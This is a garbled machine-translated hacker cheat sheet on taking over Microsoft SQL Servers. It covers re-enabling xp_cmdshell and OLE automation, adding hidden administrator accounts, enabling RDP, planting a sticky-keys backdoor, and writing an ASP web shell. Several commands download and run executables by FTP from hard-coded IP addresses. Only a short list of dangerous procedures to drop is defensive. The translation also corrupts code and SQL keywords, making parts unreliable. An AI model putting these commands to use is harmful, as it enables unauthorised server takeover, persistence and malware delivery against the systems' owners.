Popravila iz leta 1433
NET user SQLDebugger seznam /add net localgroup administrators SQLDebugger /add
Sporočilo o napaki: Nismo našli shranjene procedure 'master.. xp_cmdshell'。
Metoda popravila: zelo splošna, pravzaprav je mogoče popraviti tudi druge 126 127 skupaj,
Razen xplog70.dll je vse ostalo mogoče popraviti s tem ukazom
xp_cmdshell nove metode okrevanja Korak 1: Izbriši: Postopek spuščanja sp_addextendedproc Postopek spuščanja sp_oacreate izvršni sp_dropextendedproc 'xp_cmdshell' Strežnik: Msg 3701, nivo 11, stanje 5, vrstica 1 Procesa 'sp_addextendedproc' ni mogoče odstraniti, ker ne obstaja v sistemski mapi. Strežnik: Msg 3701, nivo 11, stanje 5, postopek sp_dropextendedproc, vrstica 18 Proces 'xp_cmdshell' ni mogoče odstraniti, ker ne obstaja v sistemski mapi. Korak 2 Okrevanje: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Neposredno okrevanje, ne glede na to, ali sp_addextendedproc obstaja ali ne
xplog70.dll popravki:
Sporočilo o napaki: DLL xplog70.dll ali eden od DLL-jev, na katere se DLL sklicuje, ni bilo mogoče namestiti. Razlog: 126 (Določenega modula ni mogoče najti.) )。
Popravite XPLOG70.DLL (najprej preverite varnostno kopijo \x86\bin z datoteko, nato pa zamenjajte naslednjo mapo)
Korak 1 izvršni sp_dropextendedproc 'xp_cmdshell' Korak 2 dbcc addextendedproc ("xp_cmdshell","c:\sql2KSP4\x86\binn\xplog70.dll")
Ni uspelo najti shranjene procedure 'master.. xp_cmdshell'。 Korak 1: postopek ustvarjanja sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (lastnik.) Ime funkcije, ki jo je treba klicati
*/ @dllname varchar(255)/* ime DLL, ki vsebuje funkcijo */ kot sproži implicit_transactions če @@trancount > 0 začetek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc POJDI
Korak 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server je blokiral dostop do procesa 'sys.xp_cmdshell' komponente 'xp_cmdshell', ker je bila ta komponenta izklopljena kot del varnostne konfiguracije tega strežnika. Sistemski skrbniki lahko omogočijo 'xp_cmdshell' z uporabo sp_configure. Za več informacij o omogočanju xp_cmdshell glejte Peripheral App Configurator v seriji SQL Server Online Books.
; EXEC sp_configure 'prikaži napredne možnosti', 1 -- ; PREKONFIGURIRAJ Z OVERRIDE -- ; IZVRŠNI sp_configure 'xp_cmdshell', 1 -- ; PREKONFIGURIRAJ Z OVERRIDE -- ; EXEC sp_configure 'prikaži napredne možnosti', 0 --
Odstranite nevarno shranjevanje SQL: POSTOPEK DROP sp_makewebtask Izvršni mojster.. sp_dropextendedproc xp_cmdshell Izvršni mojster.. sp_dropextendedproc xp_dirtree Izvršni mojster.. sp_dropextendedproc xp_fileexist Izvršni mojster.. sp_dropextendedproc xp_terminate_process Izvršni mojster.. sp_dropextendedproc sp_oamethod Izvršni mojster.. sp_dropextendedproc sp_oacreate Izvršni mojster.. sp_dropextendedproc xp_regaddmultistring Izvršni mojster.. sp_dropextendedproc xp_regdeletekey Izvršni mojster.. sp_dropextendedproc xp_regdeletevalue Izvršni mojster.. sp_dropextendedproc xp_regenumkeys Izvršni mojster.. sp_dropextendedproc xp_regenumvalues Izvršni mojster.. sp_dropextendedproc sp_add_job Izvršni mojster.. sp_dropextendedproc sp_addtask Izvršni mojster.. sp_dropextendedproc xp_regread Izvršni mojster.. sp_dropextendedproc xp_regwrite Izvršni mojster.. sp_dropextendedproc xp_readwebtask Izvršni mojster.. sp_dropextendedproc xp_makewebtask Izvršni mojster.. sp_dropextendedproc xp_regremovemultistring Izvršni mojster.. sp_dropextendedproc sp_OACreate POSTOPEK DROP sp_addextendedproc
Obnovi razširjene shranjene postopke Najprej obnovite sp_addextendedproc, izjava je naslednja: Najprej: postopek ustvarjanja sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (lastnik.) ime funkcije za klic */ @dllname varchar(255)/* ime DLL, ki vsebuje funkcijo */ kot sproži implicit_transactions če @@trancount > 0 začetek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc POJDI
Drugič: Uporabi master izvršni sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' izvršni sp_addextendedproc xp_dirtree,'xpstar.dll' izvršni sp_addextendedproc xp_enumgroups,'xplog70.dll' izvršni sp_addextendedproc xp_fixeddrives,'xpstar.dll' izvršni sp_addextendedproc xp_loginconfig, 'xplog70.dll' izvršni sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' izvršni sp_addextendedproc xp_getfiledetails, 'xpstar.dll' izvršni sp_addextendedproc sp_OACreate, 'odsole70.dll' izvršni sp_addextendedproc sp_OADestroy, 'odsole70.dll' izvršni sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' izvršni sp_addextendedproc sp_OAGetProperty,'odsole70.dll' izvršni sp_addextendedproc sp_OAMethod, 'odsole70.dll' izvršni sp_addextendedproc sp_OASetProperty, 'odsole70.dll' izvršni sp_addextendedproc sp_OAStop, 'odsole70.dll' izvršni sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' izvršni sp_addextendedproc xp_regdeletekey, 'xpstar.dll' izvršni sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' izvršni sp_addextendedproc xp_regenumvalues, 'xpstar.dll' izvršni sp_addextendedproc xp_regread, 'xpstar.dll' izvršni sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' izvršni sp_addextendedproc xp_regwrite,'xpstar.dll' izvršni sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Izbrišite stavek, ki razširja shranjeno proceduro xp_cmdshell: izvršni sp_dropextendedproc 'xp_cmdshell'
Obnovitev SQL stavka cmdshell izvršni sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Odpri cmdshell SQL izjavo izvršni sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Ugotovite, ali obstaja razširitev pomnilnika Izberite count(*) iz master.dbo.sysobjects, kjer xtype='x' in name='xp_cmdshell' Rezultat je 1 in je v redu
Obnovi xp_cmdshell izvršni master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Izberite count(*) iz master.dbo.sysobjects, kjer xtype='x' in name='xp_cmdshell' Rezultat je 1 in je v redu V nasprotnem primeru naloži xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Block the sql statement of cmdshell sp_dropextendedproc "xp_cmdshell
Ena. Sprememba metode gesla za SA: Po povezavi z orodjem SQL Comprehensive Utilization Tool izvedite ukaz: exec sp_password NULL, 'novo geslo', 'sa' (Namig: uporabljajte previdno!)
Dva. Preprosto popravite šibko geslo.
Metoda 1: Poizvedite razdelilnik po povezavi: če obstaja (izberi * iz dbo.sysobjects kjer id = object_id(N'[dbo].[ xp_cmdshell]') in OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
izvršni sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
POJDI Nato pritisnite tipko F5 za izvedbo ukaza
Metoda 2: Poizvedba po povezavi razdelilnika Prvi korak je izvedba: uporaba masterja Korak 2: sp_dropextendedproc 'xp_cmdshell' Nato pritisnite tipko F5 za izvedbo ukaza
DLL xpsql70.dll ali eden od DLL-jev, na katere se DLL sklicuje, ni mogoče pritrditi. Razlog 126 (Določenega modula ni mogoče najti. ) Metoda okrevanja: Po poizvedbi razdelilnika, Korak 1: sp_dropextendedproc "xp_cmdshell" Korak 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funkcije xp_cmdshell ni mogoče najti v knjižničnem xpweb70.dll. Razlog: 127 (Navedenega programa ni mogoče najti.) ) Metoda okrevanja: Po poizvedbi razdelilnika, Korak 1 Izvedba: izvršni sp_dropextendedproc 'xp_cmdshell' Korak 2: izvršni sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Nato pritisnite tipko F5 za izvedbo ukaza
Če nobena od zgornjih metod ni obnovljiva, poskusite račun dodati neposredno z naslednjimi metodami: Po poizvedbi po povezavi razdelilnika, Sistem 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP ali 2003Server System: napaka 126! Red
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server je blokiral dostop do procesa 'sys.xp_cmdshell' komponente 'xp_cmdshell', ker je bila ta komponenta izklopljena kot del varnostne konfiguracije tega strežnika. Sistemski skrbniki lahko omogočijo 'xp_cmdshell' z uporabo sp_configure. Za več informacij o omogočanju xp_cmdshell glejte Peripheral App Configurator v seriji SQL Server Online Books.
Izjave, ki jih izvaja analizator:
EXEC sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; IZVRŠNI sp_configure 'xp_cmdshell', 1; REKONFIGURIRANJE;
Včasih pri izvajanju zgornjih stavkov s povezavo z detakatorjem poizvedbe shranjene procedure ni mogoče najti sp_addextendedproc
Rešitev:
postopek ustvarjanja sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (lastnik.) Ime funkcije, ki jo je treba klicati */ @dllname varchar(255)/* ime DLL, ki vsebuje funkcijo */ kot sproži implicit_transactions če @@trancount > 0 začetek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc POJDI Ta koda se prilepi v delilnik poizvedb in izvede
Explorer:
c:\windows\explorer.exe
Oglejte si kazalo vsebine izvršni master.dbo.xp_subdirs 'C:\' Diski s seznamom Izvršni mojster.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
IZVRŠNI master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor različica 5.00 >3389.reg Odmev. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg odmev "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg odmev "TSEnable"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg odmev "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg odmev "Start"=dword:00000002 >>3389.reg odmev [HKEY_USERS\. PRIVZETO\Postavitev tipkovnice\Preklop] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConctions','REG_DWORD',0; --
Pass 3389:
izvršni master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminalski strežnik','fDenyTSConnections','REG_DWORD',1;
Poglej port 3389
izvršni xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'
Običajna zadnja vrata CMD xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc.exe', 'odpravljalec','reg_sz', 'c:\windows\system32\cmd.exe'
win2K gre neposredno na PS Mar Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',1 Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo adijo>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP neposredno na PS konjih Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',1 Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo adijo>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Premakni ukaz za zadnja vrata deklariraj @o int izvršni sp_oacreate 'scrip remove ting.filesystemobject', @o konec Exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
deklariraj @o int izvršni sp_oacreate 'scrip remove ting.filesystemobject', @o konec Exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
kopiraj c:\windows\explorer.exe c:\windows\system32\sethc.exe kopiraj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
deklariraj @o int izvršni sp_oacreate 'wscrip odstranite t.shell', @o konec exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX je ukaz, ki ga želite izvesti
Zapišite vrednost, določeno v ključu, določenem v registru), z uporabo metode (zapišite bbb v ključ HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
IZVRŠNI mojster.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaVrednost',
@type='REG_SZ',
@value='bbb'
@echo odpri 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo dobi gzn.exe>>c:\bin.txt&@echo Bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Najprej kopiraj ftp.exe v wmpub imenik @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL napiše stavek izvršni master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' ' '
Promocija SA Sandbox načina ----- ---------------------- Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',0; ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
IZMENA 3389
Uporabljeni stavek: Invazija IZVRŠNI mojster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Okrevanje IZVRŠNI mojster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Prevzem slike
IZVRŠNI mojster.. xp_regwrite --- to je urejanje registra! @rootkey='HKEY_LOCAL_MACHINE', ---To je položaj! @key='PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc. EXE', -----To je tudi položaj! @value_name='Debugger', --- to je ime mize! @type='REG_SZ', --- tukaj je pomen pisanja! @value='C:\WINDOWS\explorer.exe' ---- tukaj je pisna vsebina!
Celoten postopek je uporaba master: xp_regwrite je ta komponenta končana,
1.sql ukaz za poizvedbo, ali je bila prilepljena tipka registra ugrabljena
Izvršni mojster.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',''', 'Debugger'
2.sql ukaz prevzame funkcijo prilepljene tipke v registru in jo zamenja z upraviteljem opravil (seveda jo lahko zamenjaš z drugimi ukazi, ki jih želiš)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovne datoteke\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql ukaz za odstranitev funkcije ugrabitve iz prilepljene tipke registra ščiti vaš strežnik pred izkoriščanjem s strani drugih
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc.exe'
SQL zapisovalne datoteke
razglasite @o int, @f int, @t int, @ret int izvršni sp_oacreate 'scrip remove ting.filesystemobject', @o konec izvršni sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skripte brez NET eskalacije
struser=wscrip za odstranitev t.arguments(0) strpass=wscrip za odstranitev t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od. SetPassword strpass od. SetInfo Množica =GetObject(oz&"/" & struser & ",user") Oe. Add(of. ADsPath)
Za vsakega administratorja v OE. Člani if struser=admin. Ime potem Wscrip je odstranil t.echo struser in "Uspešno vzpostavljeno!" wscrip za odstranitev t.quit konec če Naslednji
Wscrip odstrani t.echo struser & "User Establishment failed !" Shrani zgoraj navedeno kot uporabnik. VBS datoteka Nato izvedite: cscrip za odstranitev gesla user.vbs
Z uporabo JET sandbox načina lahko rešujete težave, ki jih povzročajo shranjene procedure, kot so XP_cmdshell in sorodne knjižnice dinamičnih povezav. Iz varnostnih razlogov sistem privzeto ne vklopi načina peskovnika, ki zahteva, da xp_regwrite vklopi način peskovnika:
Izvršni master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBox Mode','REG_DWORD',1
Nato izvedite ukaz peskovnika, da dodate uporabniško poimenovani test z geslom 1234 v sistem:
Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
Select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administratorji testirajo /add")')
Različni operacijski sistemi imajo različne poti in jih je treba prilagoditi glede na situacijo:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Poleg tega so v Microsoft SQL Server 2005 nekatere shranjene procedure privzeto zaprte in zahtevajo ukaze za odpiranje:
Vklopi XP_cmdshell:
EXEC sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; IZVRŠNI sp_configure 'xp_cmdshell', 1; REKONFIGURIRANJE;
Odpri 'OPENROWSET':
izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni sp_configure 'Ad hoc distribuirane poizvedbe',1; REKONFIGURIRANJE;
Vklopi 'sp_oacreate':
izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni sp_configure 'Stari avtomatizacijski postopki',1; REKONFIGURIRANJE;
Tukaj je nekaj situacij, kjer je ukaz za izvajanje pod sa napačen: 1. DLL xpsql70.dll ali DLL, na katerega se DLL sklicuje, ni mogoče naložiti. Razlog 126 (Določenega modula ni mogoče najti. ) Ta situacija je razmeroma pogosta, popravilo je preprosto in preprosto, vendar obstajajo pogoji. Če lahko v tem primeru navedeš imenik (pri sqltools v2.0 obstaja funkcija za imenike), čestitke za to 80 % situacijo, da se reši, če lahko navedeš imenik, potem samo najdi pot xplog70.dll in izvede naslednji ukaz. Korak 1 exec sp_dropextendedproc 'xp_cmdshell' (ta ukaz je namenjen brisanju izvirnega CMDSHELL-a, ker je že šel narobe) Korak 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'prikaži napredne možnosti', 0 – Seveda gre za SQL ukaz, ki se izvaja z analizatorjem poizvedb. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll v drugem koraku je pot xplog70.dll, ta pot je razmeroma pogosta; če je C disk nima, lahko najdete druge črke diskov. 2. Funkcijo xp_cmdshell v knjižnici xpweb70.dll ne najdemo. Razlog: 127 (Navedenega programa ni mogoče najti.) ) Pravzaprav je to enako kot zgoraj 126, torej je cmdshell napačen, dokler najdeš varnostno kopijo xplog70.dll slediš zgornji metodi za popravilo. 3. Nismo našli shranjene procedure 'master'. xpcmdshell' V tem primeru na internetu vidim, da je metoda naslednja: Korak 1: Izbriši: Postopek spuščanja sp_addextendedproc Postopek spuščanja sp_oacreate izvršni sp_dropextendedproc 'xp_cmdshell' Korak 2 Okrevanje: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Pravzaprav je to še vedno enako kot zgoraj, pravzaprav, če ste previdni, zgornji 126 127 ne bo našel le shranjene procedure 'master:. xpcmdshell', ker je prvi korak izbrisati shranjeno proceduro cmdshell. Torej, v tem primeru preprosto sledite zgornjemu koraku. 4. Sporočilo o napaki: SQL Server je blokiral dostop do obdelave 'sys.xp_cmdshell' komponente 'xp_cmdshell', ker je bila ta komponenta izklopljena kot del varnostne konfiguracije tega strežnika. Sistemski skrbniki lahko omogočijo 'xp_cmdshell' z uporabo sp_configure. Za več informacij o omogočanju xp_cmdshell glejte Peripheral App Configurator v seriji SQL Server Online Books. Ta situacija je najpreprostejša, saj vam ni treba ničesar razmišljati, samo izvedete naslednji ukaz ; EXEC sp_configure 'prikaži napredne možnosti', 1 -- ; PREKONFIGURIRAJ Z OVERRIDE -- ; IZVRŠNI sp_configure 'xp_cmdshell', 1 -- ; PREKONFIGURIRAJ Z OVERRIDE -- ; EXEC sp_configure 'prikaži napredne možnosti', 0 –
Po zgornji popravki lahko izvedete ukaz cmd in začnete povečevati svojo moč. Običajno najprej preverim IP, da vidim, ali gre za intranet, nato pa REG poizvedbo HKLM\SYSTEM\CurrentControl\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber za preverjanje terminalskega porta, nato netstat –an, da vidim, ali je terminal odprt, nato pa geslo za uporabnika omrežja / Dodajte uporabnika in nato povežite localgroup administrators user /add Če gre vse po načrtih, bo strežnik onemogočen. A v tem procesu je veliko težav. 1. Neto promocija moči je uspešna, vendar se ne more povezati s terminalom Obstajajo naslednje situacije (1) Strežnik je na intranetu. (2) TCP/IP presejanje. Najprej zaženite naslednji ukaz cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, izvozi prvi del registra za TCP/IP filtriranje cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, izvozi drugi del registra za TCP/IP filtriranje cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", izvozi tretje mesto v registru o TCP/IP filtriranju Nato se vrnite na disk c 1.reg, 2.reg, 3.reg, prenesite 1.reg, 2.reg 3.reg nazaj na trdi disk, da uredite, poiščite polje EnableSecurityFilters in preverite, ali je ključna vrednost po dword 00000000, če je 00000001, to pomeni, da je administrator opravil tcp/IP filtriranje, samo spremeniti moramo 1 na 0, 2. Reg in 3.reg naredita enake spremembe. (3) Vzpostavite varnostno politiko intelektualne lastnine. Zaženite ukaz cmd: cmd /c net stop policyagent, da ustavite storitev IPSEC storitev. Ponovno poveži terminal. (4) Dovoljenje za prijavo terminala, ki ga je nastavil skrbnik, lahko uporablja le določeni uporabnik. (5) Požarni zid. Zaženi ukaz cmd: net stop alg /ynet stop sharedaccess
2. Pojavi se NET eskalacija in dostop je zavrnjen Lahko poskusite z net1 uporabniškim geslom /add Če net1 prav tako zavrača dostop, lahko kopirate shfit backdoor in poskusite izvesti ukaz cmd: kopiraj c:\windows\explorer.exe c:\windows\system32\sethc.exe kopiraj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Če vas vprašajo, kopirajte eno datoteko, ki se izkaže za uspešno. Poveži se na terminal in pritisni shift 5, da vidiš, kaj se pojavi. Igraj se s Kaka Explorerjem, zdaj pa preprosto ročno dodaj uporabnika. 3. Neto eskalacija se zgodi z napako zavrnitve dostopa 5 (poudarek) V tem primeru ni treba poskušati net1, lahko poskusite copyshift backdoor, če kopija zahteva kopiranje datoteke 0, to dokazuje, da ni uspešno. Nato lahko poskusiš naložiti aplikacijo, če jo lahko, lahko neposredno pošlješ orodje za povečanje porabe, ki ni povezano z internetom, ki je izšlo že pred časom, in nato dodaš uporabnika. A večine teh primerov ni mogoče naložiti, zato je treba o tem razmisliti. Ker je cmd mogoče izvajati, je datoteko mogoče prenesti preko cmd pod ftp, vendar je bistvo ftp sposobnost pisanja besedila ali paketnega procesiranja. Nato lahko napišeš besedilo ali paket preko SQL stavka. razglasite @o int, @f int, @t int, @ret int izvršni sp_oacreate 'scrip remove ting.filesystemobject', @o konec izvršni sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exeec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp račun' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (brez net escalation skripte) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL, 'adijo' Ko je analizator poizvedb uspešno izveden, se na C disku pojavi 1.bat (če je izvedba uspešna, a C disk ni tam, lahko mapo spremenite na pisanje, ker korenska mapa C na katerem strežniku prepoveduje pisanje) Nato cmd izvede ftp -s:c:\1.bat Ko je to izvedeno, boste na FTP na CFT disku prenesli ne-net eskalacijsko skripto ali neposredno napisali VBS skripto za eskalacijo razglasite @o int, @f int, @t int, @ret int izvršni sp_oacreate 'scrip remove ting.filesystemobject', @o konec izvršni sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Nato cmd izvede cscrip za odstranitev t c:\1.vbs 4. Prejšnji je popravljen za izvajanje ukazov cmd, vendar se po nekaterih popravkih pojavijo nove težave (1) Sporočilo: Med izvajanjem xp_cmdshell je prišlo do napake. Klic 'CreateProcess' ni uspel z napako: '5'. Napaka 5 je številka napake, ki jo sproži sistem, CreateProcess pomeni ustvarjanje niti, ta generacija napake 